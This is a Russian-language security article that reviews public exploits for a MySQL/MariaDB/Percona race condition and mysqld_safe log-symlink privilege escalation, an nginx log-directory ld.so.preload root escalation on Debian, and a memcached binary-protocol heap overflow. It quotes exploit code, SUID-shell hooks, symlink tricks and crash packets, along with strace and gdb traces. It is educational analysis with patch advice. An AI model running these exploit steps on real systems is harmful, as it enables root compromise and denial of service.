Содержание статьи
Локальное повышение привилегий и выполнение кода с правами root в MySQL, MariaDB и Percona
Автор: Давид Голунский (Dawid Golunski)
CVE: CVE-2016-6663, CVE-2016-6664
BRIEF
Давид Голунский продолжает выкладывать результаты своих исследований MySQL-подобных баз данных. Не так давно он опубликовал рисерч уязвимости CVE-2016-6662, которая позволяет поднимать привилегии до root с помощью создания конфигов my.cnf. Мы рассмотрим очередную порцию уязвимостей из этой серии.
На этот раз проблема повышения привилегий закралась в механизм работы с временными файлами таблиц. При выполнении запроса REPAIR TABLE
можно выиграть «состояние гонки» (race condition) и сделать доступным для чтения и записи нужный нам файл или директорию.
EXPLOIT
Чтобы поближе рассмотреть причину уязвимости, нам понадобятся: MySQL версии не выше 5.5.51 (5.6.32, 5.7.14), пользователь БД с низкими привилегиями (CREATE/INSERT/SELECT), strace, немного терпения и пластиковая бутылка. Мой тестовый стенд — это Debian 8.5 и MySQL 5.5.49.
Путешествие начинается с того, что я создаю директорию с правами 777 для будущей таблицы. Да-да, при создании таблицы можно указать путь, где будут расположены относящиеся к ней файлы.
mkdir /tmp/exptable
chmod 777 /tmp/exptable
ls -ld /tmp/exptable
Теперь создаем саму таблицу.
CREATE TABLE exptbl (pes varchar(50)) engine = 'MyISAM' data directory '/tmp/exptable';
Смотрим, что вышло, набрав ls -lua /tmp/exptable
. Ты увидишь, что сервер MySQL создал файл для таблицы с правами 660, а владельцем будет пользователь mysql
.
Теперь нам нужно отправить запрос REPAIR TABLE
. Его могут выполнять пользователи с привилегиями (CREATE/INSERT/SELECT).
REPAIR TABLE 'exptbl';
В соседнем терминале я запущу strace
для того, чтобы посмотреть, какие операции с файлами осуществляются в процессе выполнения запросов.
[pid 7783] lstat64("/tmp/exptable/exptbl.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 7783] open("/tmp/exptable/exptbl.MYD", O_RDWR|O_LARGEFILE) = 33
...
[pid 7833] open("/tmp/exptable/exptbl.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC|O_LARGEFILE, 0660) = 192
[pid 7783] close(192) = 0
[pid 7833] chmod("/tmp/exptable/exptbl.TMD", 0660) = 0
[pid 7833] chown32("/tmp/exptable/exptbl.TMD", 119, 125) = 0
[pid 7833] unlink("/tmp/exptable/exptbl.MYD") = 0
[pid 7833] rename("/tmp/exptable/exptbl.TMD", "/tmp/exptable/exptbl.MYD") = 0
Сначала проверяются права файла exptbl.MYD
, затем chmod()
ставит такие же на временный файл exptbl.TMD
.
Далее chown()
меняет владельца файла на mysql. После этого файл с «поврежденной» таблицей удаляется, a файл exptbl.TMD
с восстановленной таблицей занимает его место.
Между вызовами lstat64("/tmp/exptable/exptbl.MYD"...)
и chmod("/tmp/exptable/exptbl.TMD", 0660) = 0
возникает состояние гонки.
Если успеть заменить временный exptbl.TMD
до вызова chmod()
симлинком, то это даст возможность установить любые права на файлы или директории, владельцем которых является пользователь mysql
. Например, можно сделать доступной для чтения и записи директорию /var/lib/mysql
, там по умолчанию хранятся файлы всех таблиц. Управлять устанавливаемыми правами можно через exptbl.MYD
, перед вызовом REPAIR TABLE
.
Это все, конечно, интересно, но можно провернуть более хитрый трюк и получить шелл, запущенный с правами пользователя mysql
. Дальнейшие действия логичнее будет рассматривать в контексте эксплоита самого Давида.
Общий сценарий таков:
- ставим права 04777 на файл с таблицей;
- делаем
REPAIR TABLE
; - выигрываем гонку и заменяем временную таблицу файлом
/bin/bash
; chmod()
копирует права на запуск и бит SUID. Таким образом, шелл будет запускаться от пользователяmysql
.
Сначала подготавливаем папку для будущей таблицы.
40678.c:
53: #define EXP_DIRN "mysql_privesc_exploit"
...
151: system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
152: system("chmod g+s /tmp/" EXP_DIRN );
Бит g+s
означает, что все новые файлы и папки будут иметь группу родительской директории. Это нужно для того, чтобы обойти проблему с невозможностью перезаписи содержимого временного файла. Посмотри на права, с которыми он создается:
-rw-rw---- 1 mysql mysql 0 Dec 9 17:58 exptbl.TMD
Его владелец и группа — mysql
, поэтому не получится заменить его содержимое файлом /bin/bash
. А вот так выглядят права после установки нужного бита на директорию:
-rw-rw---- 1 mysql dog 0 Dec 9 17:59 exptbl.MYD
Теперь файл принадлежит нашей группе и на его место можно копировать шелл.
40678.c:
57: #define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
...
164: system("cp /bin/bash " SUID_SHELL);
Автор использует функции ядра inotify
для того, чтобы отслеживать изменения файловой системы (IN_CREATE
и IN_CLOSE
) в директории /tmp/mysql_privesc_exploit
. Это поможет вовремя перехватить событие и начать атаку race condition.
40678.c:
52: #define EXP_PATH "/tmp/mysql_privesc_exploit"
...
168: fd = inotify_init();
169: if (fd < 0) {
170: printf("failed to inotify_initn");
171: return -1;
172: }
173: ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
Далее форкается отдельный процесс для асинхронного выполнения запросов REPAIR TABLE
. Без этого никакой гонки не выиграть.
40678.c:
199: pid = fork();
200: if (pid < 0) {
201: fprintf(stderr, "Fork failed :(n");
202: }
...
205: if (pid == 0) {
206: usleep(500);
207: unlink(MYSQL_TEMP_FILE);
208: mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
209: // child stops here
210: exit(0);
211: }
Тем временем в родительском процессе обрабатываются события от inotify
, и если попадается нужное, то на файл с таблицей устанавливаются нужные права (+s +x
).
40678.c:
54: #define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
...
230: unlink(MYSQL_TAB_FILE);
231: myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
232: close(myd_handle);
233: chmod(MYSQL_TAB_FILE, 04777);
Я считаю этот шаг избыточным, достаточно в самом начале выставить нужные права на файл, и MySQL не сможет выполнить запрос REPAIR TABLE
, так как владельцем файла будет наш юзер.
Дальше по коду идет процедура награждения самых быстрых гонщиков — пытаемся заменить временный файл с таблицей на симлинк до нашего шелла.
40678.c:
55: #define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
...
236: unlink(MYSQL_TEMP_FILE);
237: symlink(SUID_SHELL, MYSQL_TEMP_FILE);
Затем проверяем успешность эксплуатации:
40678.c:
253: if ( lstat(SUID_SHELL, &st) == 0 ) {
254: if (st.st_mode & S_ISUID) {
255: is_shell_suid = 1;
256: }
257: }
Если не вышло, то запускаем весь алгоритм еще раз и так далее, пока не добьемся успеха.
40678.c:
180: while ( is_shell_suid != 1 ) {
Когда права на шелл будут успешно установлены, эксплоит запустит его и мы попадем в консоль с правами пользователя mysql
.
Если карабкаться дальше по пищевой цепочке, то можно продвинуться и до суперпользователя. Код эксплоита Голунского недвусмысленно нам на это намекает! Воспользуемся советом и рассмотрим повышение привилегий с помощью уязвимости CVE-2016-6664.
Чтобы управлять демоном mysqld
, здесь используется скрипт-обертка mysqld_safe
. В нем есть один интересный участок кода, который связан с лог-файлами.
mysql_safe:
793: if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
794: touch "$err_log" # Hypothetical: log was renamed but not
795: chown $user "$err_log" # Flushed yet. We’d recreate it with
796: chmod "$fmode" "$err_log" # Wrong owner next time we log, so set
797: fi # It up correctly while we can!
Если включено логирование в файл (а оно включено по умолчанию), то при каждом старте mysqld
будет пересоздаваться файл error.log
(строка 794). Скрипт запускается от рута, а директория с логами доступна для записи юзеру mysql
, так что мы можем создать файл в любом месте, используя уже знакомую тактику с симлинками.
mysql@debian:/$ ps -aux|grep mysql
root 730 0.0 0.0 2272 1264 ? S Dec10 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 1161 0.0 1.1 628744 23792 ? Sl Dec10 1:08 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
Затем враппер любезно меняет владельца файла на mysql
, и файл становится доступным для редактирования нашему пользователю (строки 795 и 796). Это означает, что можно применить технику для поднятия привилегий при помощи /etc/ld.so.preload
. Подробнее о ней читай дальше — в обзоре уязвимости nginx.
40679.sh:
050: PRIVESCLIB="/tmp/privesclib.so"
051: PRIVESCSRC="/tmp/privesclib.c"
...
127: /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
...
144: # Symlink the log file to /etc
145: rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
Теперь остается перезагрузить сервис MySQL. Нет ничего проще! Помимо логов, враппер следит за процессом mysqld
, и если тот падает, то перезагружает его. Так как сам процесс стартует от пользователя mysql
, мы можем свободно его убить командой kill
.
40679.sh:
154: read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
155: if [ "$THE_ANSWER" = "y" ]; then
156: echo -e "Got it. Executing 'killall mysqld' now..."
157: killall mysqld #
158: fi
После всех манипуляций имеем суидную копию баша в /tmp/mysqlrootsh
. Запускаем ее и мы рут.
На этом с MySQL закончим. Если хочешь еще ближе посмотреть на причины багов, то советую проанализировать их фиксы.
TARGETS
MySQL <= 5.5.51, <= 5.6.32, <= 5.7.14
MariaDB < 5.5.52, < 10.1.18, < 10.0.28
Percona Server < 5.5.51-38.2, < 5.6.32-78-1, < 5.7.14-8
Percona XtraDB Cluster < 5.6.32-25.17, < 5.7.14-26.17, < 5.5.41-37.0
SOLUTION
В настоящее время выпущены свежие версии приложений, в которых уязвимость исправлена.
Локальное повышение привилегий до root в nginx
Автор: Давид Голунский (Dawid Golunski)
CVE: CVE-2016-1247
BRIEF
И снова эксплоит Давида Голунского. На этот раз его руки и пытливый ум дотянулись до прокси-сервера nginx. Проблема довольно банальна и присутствует только в Debian-подобных дистрибутивах Linux (в том числе Ubuntu). При установке пакетов сервера из официальных репозиториев скрипт создает папку /var/log/nginx
, владельцем которой является юзер www-data
. Сам демон nginx работает от суперпользователя, поэтому создание симлинков вместо лог-файлов позволяет манипулировать файлами от его имени.
EXPLOIT
После установки nginx через apt-get ты можешь проверить, что владелец папки с логами действительно пользователь www-data
.
drwxr-x--- 2 www-data adm 4096 Dec 5 07:35 /var/log/nginx/
Теперь давай пробежимся по коду эксплоита и рассмотрим ключевые моменты успешной эксплуатации.
В качестве аргумента для запуска эксплоита указываем путь до лог-файла nginx.
40768.sh:
107: # Args
108: if [ $# -lt 1 ]; then
109: echo -e "n[!] Exploit usage: nn$0 path_to_error.log n"
110: echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`n"
111: exit 3
112: fi
Компилируем либу, которая будет ставить бит SUID на шелл и менять его владельца на root
.
40768.sh:
53: PRIVESCLIB="/tmp/privesclib.so"
54: PRIVESCSRC="/tmp/privesclib.c"
...
135: cat <<_solibeof_>$PRIVESCSRC
...
156: /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
Библиотека хукает функцию geteuid
. Если она вызывается от root
, то нужные пермишены устанавливаются на файл с шеллом. В переменной old_geteuid
хранится указатель на оригинальную geteuid
, результат которой и возвращается после всех манипуляций.
40768.sh:
051: BACKDOORSH="/bin/bash"
052: BACKDOORPATH="/tmp/nginxrootsh"
...
145: uid_t geteuid(void) {
146: static uid_t (*old_geteuid)();
147: old_geteuid = dlsym(RTLD_NEXT, "geteuid");
148: if ( old_geteuid() == 0 ) {
149: chown("$BACKDOORPATH", 0, 0);
150: chmod("$BACKDOORPATH", 04777);
151: unlink("/etc/ld.so.preload");
152: }
153: return old_geteuid();
154: }
...
164: cp $BACKDOORSH $BACKDOORPATH
Дальше скрипт удаляет оригинальный лог-файл и заменяет его симлинком на /etc/ld.so.preload
.
40768.sh:
124: ERRORLOG="$1"
...
174: rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
Магия /etc/ld.so.preaload
заключается в том, что если этот файл существует, то каждый бинарник при запуске будет подгружать указанные в нем библиотеки.
Вот только писать файлы в /etc
может исключительно рут. Пройдя по симлинку, эту работу за нас проделает nginx, а для этого нужно дождаться открытия лог-файлов. Происходит это в тех случаях, когда сервис перезагружается или его процесс получает сигнал USR1
. В Debian такой сигнал по умолчанию отправляет функция do_rotate()
, которую вызывает скрипт logrotate
.
/etc/logrotate.d/nginx:
01: /var/log/nginx/*.log {
02: daily
...
08: create 0640 www-data adm
...
15: postrotate
16: invoke-rc.d nginx rotate >/dev/null 2>&1
17: endscript
/etc/init.d/nginx:
88: #
89: # Rotate log files
90: #
91: do_rotate() {
92: start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
93: return 0
94: }
Настройки по умолчанию вызывают скрипт ротации логов ежедневно в 6:25 утра, и если nginx настроен на архивацию логов каждый день, то нужно подождать сутки до успешной эксплуатации.
40768.sh:
185: echo -ne "n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
186: while :; do
187: sleep 1
188: if [ -f /etc/ld.so.preload ]; then
189: echo $PRIVESCLIB > /etc/ld.so.preload
190: rm -f $ERRORLOG
191: break;
192: fi
193: done
Для демонстрации можно ускорить выполнение нужных функций командой /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
. Также стоит отметить, что архивация сработает, только если в файле access.log
есть хотя бы одна запись. Поэтому в эксплоите выполняется следующая команда:
40768.sh:
182: curl http://localhost/ >/dev/null 2>/dev/null
Файл /etc/ld.so.preload
создался, и его владельцем стал www-data
:
-rw-r--r-- 1 www-data root 13 Dec 10 13:33 /etc/ld.so.preload
После успешного создания файла добавляем в него путь до скомпилированной библиотеки.
40768.sh:
53: PRIVESCLIB="/tmp/privesclib.so"
...
196: # Inject the privesc.so shared library to escalate privileges
197: echo $PRIVESCLIB > /etc/ld.so.preload
...
201: chmod 755 /etc/ld.so.preload
Последним шагом в эксплоите вызывается sudo
для установки нужных привилегий на копию шелла.
40768.sh:
204: echo -e "n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
205: sudo 2>/dev/null >/dev/null
Вообще, сгодится любой бинарник, который принадлежит руту, имеет бит SUID и вызывает функцию geteuid
, например mount
.
Лог strace
показывает нам, что все прошло успешно.
access("/etc/ld.so.preload", R_OK) = 0
open("/etc/ld.so.preload", O_RDONLY|O_CLOEXEC) = 3
...
open("/tmp/privesclib.so", O_RDONLY|O_CLOEXEC) = 3
...
geteuid32() = 0
chown32("/tmp/nginxrootsh", 0, 0) = 0
chmod("/tmp/nginxrootsh", 04777) = 0
geteuid32() = 0
Результат работы эксплоита — суидная копия /bin/bash. Запускаем и получаем шелл с привилегиями суперпользователя. Pwned.
40768.sh:
052: BACKDOORPATH="/tmp/nginxrootsh"
...
227: echo -e "n[+] Spawning the rootshell $BACKDOORPATH now! n"
228: $BACKDOORPATH -p -i
TARGETS
В Debian — nginx младше 1.6.2-5+deb8u3, в Ubuntu 16.10 — nginx до версии 1.10.1-0ubuntu1.1, в 16.04 LTS — до 1.10.0-0ubuntu0.16.04.3, в 14.04 LTS — до 1.4.6-1ubuntu3.6.
SOLUTION
Уязвимость была исправлена в новых версиях пакетов, так что советую всем обновиться как можно скорее. Или же ручками поправить права на папку с лог-файлами nginx.
Удаленное выполнение произвольного кода и отказ в обслуживании memcached
Автор: Александр Николич (Aleksandar Nikolic) из Cisco Talos
CVE: CVE-2016-8704, CVE-2016-8705, CVE-2016-8706
CVSSv3: 9.8, 9.8, 8.1
BRIEF
В сервере memcached было найдено сразу три уязвимости. Их успешная эксплуатация приводит к переполнению буфера в области данных приложения. Атакующий может вызвать отказ в обслуживании, прочитать некоторые участки памяти или выполнить произвольный код на целевой системе с правами пользователя, от которого запущен демон. Уязвимыми оказались несколько команд для работы с хранилищем ключей: set
, add
, replace
, append
, prepend
и их тихие версии с суффиксом Q
. Досталось и реализации протокола аутентификации SASL.
EXPLOIT
Так как уязвимости однотипны, рассмотрим только один DoS-эксплоит для CVE-2016-8705. Мой тестовый стенд — Debian 8.5, memcached версии 1.4.32 и для отладки GDB + PEDA.
«Мемкеш» поддерживает два протокола для взаимодействия с данными — текстовый (ASCII) и двоичный. При использовании второго как раз и возникают проблемы. В бинарных протоколах часто бывают указаны размеры блоков передаваемых данных. Протокол memcached — не исключение.
Ошибка возникает при работе с памятью в функции do_item_alloc
.
145: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags,
146: const rel_time_t exptime, const int nbytes) {
...
151: size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
...
180: it = slabs_alloc(ntotal, id, &total_bytes, 0);
...
238: memcpy(ITEM_key(it), key, nkey);
239: it->exptime = exptime;
240: memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
241: it->nsuffix = nsuffix;
В коде используются переменные nkey
и nbytes
для того, чтобы вычислить количество памяти, которую нужно выделить. Затем в эту область копируются пользовательские данные, причем проверка на их длину отсутствует. Выходит, что если размер данных будет больше размера выделенной памяти, то произойдет переполнение буфера.
Согласно CVE-2016-8704, уязвимы команды Append (0x0e
), Prepend (0x0f
), AppendQ (0x19
) и PrependQ (0x1a
).
095: PROTOCOL_BINARY_CMD_APPEND = 0x0e,
096: PROTOCOL_BINARY_CMD_PREPEND = 0x0f,
...
106: PROTOCOL_BINARY_CMD_APPENDQ = 0x19,
107: PROTOCOL_BINARY_CMD_PREPENDQ = 0x1a,
При выполнении команд проверяется только длина самого ключа, но не данных.
2044: case PROTOCOL_BINARY_CMD_APPENDQ:
2045: c->cmd = PROTOCOL_BINARY_CMD_APPEND;
2046: break;
2047: case PROTOCOL_BINARY_CMD_PREPENDQ:
2048: c->cmd = PROTOCOL_BINARY_CMD_PREPEND;
2049: break;
...
2066: switch (c->cmd) {
...
2122: case PROTOCOL_BINARY_CMD_APPEND:
2123: case PROTOCOL_BINARY_CMD_PREPEND:
2124: if (keylen > 0 && extlen == 0) {
2125: bin_read_key(c, bin_reading_set_header, 0);
2126: } else {
2127: protocol_error = 1;
2128: }
2129: break;
Для примера рассмотрим пакет из эксплоита. Формат бинарных пакетов memcached я описывать не буду, но если тебе интересно, почитай о нем здесь.
Длина ключа указана равная FA
, а размер данных равен нулю.
40695.c:
09: key_len = struct.pack("!H",0xfa)
...
13: body_len = struct.pack("!I",0)
После чтения данных из отправленного пакета их обрабатывает функция process_bin_append_prepend
.
2282: static void process_bin_append_prepend(conn *c) {
2283: char *key;
2284: int nkey;
2285: int vlen;
2286: item *it;
Обрати внимание на типы переменных nkey
и vlen
. Они объявлены как целые со знаком, тогда как тип keylen
— целое число без знака.
155: uint16_t keylen;
...
159: uint32_t bodylen;
...
164: } protocol_binary_request_header;
gdb-peda$ ptype nkey
type = int
gdb-peda$ ptype vlen
type = int
gdb-peda$ ptype c->binary_header.request.keylen
type = unsigned short
gdb-peda$ ptype c->binary_header.request.bodylen
type = unsigned int
Чтобы посмотреть, как обрабатывается запрос, я воспользуюсь GDB, а чтобы удобнее было отлаживать, я предварительно скомпилировал memcached с отладочными символами.
Поставим брейк-поинт gdb-peda$ b memcached.с:2291
и отправим пакет серверу. Затем немного потрейсим код, чтобы понять, что именно происходит при обработке запроса. Все данные отправляются одним блоком (key + keydata), а в заголовках пакета передаются размеры. В нашем случае этот блок (AAAAAAA...) лежит по адресу b6333b80
.
40695.c:
16: body = "A"*1024
gdb-peda$ x/7xs 0xb6333b80
0xb6333b80: 'A' <repeats 200 times>...
0xb6333c48: 'A' <repeats 200 times>...
0xb6333d10: 'A' <repeats 200 times>...
0xb6333dd8: 'A' <repeats 200 times>...
0xb6333ea0: 'A' <repeats 200 times>...
0xb6333f68: 'A' <repeats 26 times>
0xb6333f83: ""
Функция binary_get_key
возвращает указатель на имя ключа.
memcached.c:
2290: key = binary_get_key(c);
memcached.c:
1130: static char* binary_get_key(conn *c) {
1131: return c->rcurr - (c->binary_header.request.keylen);
1132: }
gdb-peda$ print c->rcurr
$26 = 0xb6333c7a 'A' <repeats 200 times>...
gdb-peda$ x/5xs 0xb6333c7a
0xb6333c7a: 'A' <repeats 200 times>...
0xb6333d42: 'A' <repeats 200 times>...
0xb6333e0a: 'A' <repeats 200 times>...
0xb6333ed2: 'A' <repeats 176 times>
0xb6333f83: ""
Получается, что ключ лежит по адресу b6333b80
.
gdb-peda$ print key
$24 = 0xb6333b80 'A' <repeats 200 times>...
Следующий шаг — это вычисление размера памяти, который требуется для хранения значения (vlen
). Для этого нужно взять общий размер переданного блока и вычесть длину ключа. Так мы найдем смещение, с которого начинаются данные.
memcached.c:
2291: nkey = c->binary_header.request.keylen; # 0хFA, как ты помнишь
Так как мы передали ноль в качестве размера данных (c->binary_header.request.bodylen = 0
), то на выходе получим отрицательное значение. Произошло целочисленное переполнение.
memcached.c:
2292: vlen = c->binary_header.request.bodylen - nkey; # 0-0хFA =0xffffff06 (-250)
Теперь подготовленные данные передаются в функцию item_alloc
. Это обертка над do_item_alloc
, той самой функции, о которой говорилось в начале.
memcached.c:
2302: it = item_alloc(key, nkey, 0, 0, vlen+2);
item_alloc (key=0xb6333b80 'A' <repeats 200 times>..., nkey=0xfa, flags=0x0, exptime=0x0, nbytes=0xffffff08) at thread.c:538
538 it = do_item_alloc(key, nkey, flags, exptime, nbytes);
Функция item_make_header
возвращает общий размер заголовка для создания записи.
items.c:
145: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags,
146: const rel_time_t exptime, const int nbytes) {
...
151: size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
Затем функция slabs_alloc
выделяет место в памяти для хранения этого объекта.
items.c:
180: it = slabs_alloc(ntotal, id, &total_bytes, 0);
И наконец, вызывается функция memcpy
, которая копирует данные в выделенную область памяти. При ее выполнении и происходит переполнение кучи, heap overflow.
gdb-peda$ where
#0 do_item_alloc (key=0xb6333b80 'A' <repeats 200 times>..., nkey=0xfa, flags=0x0, exptime=0x0, nbytes=0xffffff08) at items.c:238
items.c:
236: it->nkey = nkey;
237: it->nbytes = nbytes;
238: memcpy(ITEM_key(it), key, nkey);
Простая отправка пакета хоть и вызывает переполнение, но не приводит к полному падению демона memcached. Поэтому найденную уязвимость можно эксплуатировать многократно и использовать, например, для извлечения данных из памяти.
Процесс упадет в том случае, если изменить существующий ключ, а затем запросить его. Что и делает рассматриваемый эксплоит.
40695.c:
21: packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
22: packet += data_type + vbucket + body_len + opaque + CAS
23: packet += body
24:
25: set_packet = "set testkey 0 60 4rntestrn"
26: get_packet = "get testkeyrn"
...
30: s1.sendall(set_packet) # Отправляем пакет на создание ключа testkey
...
37: s2.sendall(packet) # Отправляем пакет, приводящий к переполнению кучи
..
43: s3.sendall(get_packet) # Пытаемся получить ключ testkey. Мемкеш падает.
44: s3.recv(1024)
45: s3.close()
TARGETS
Уязвимы все версии memcached вплоть до 1.4.32.
SOLUTION
Разработчики исправили уязвимость и выпустили патчи в виде новой версии сервера под номером 1.4.33. Так что обновляйся и make memcached great again!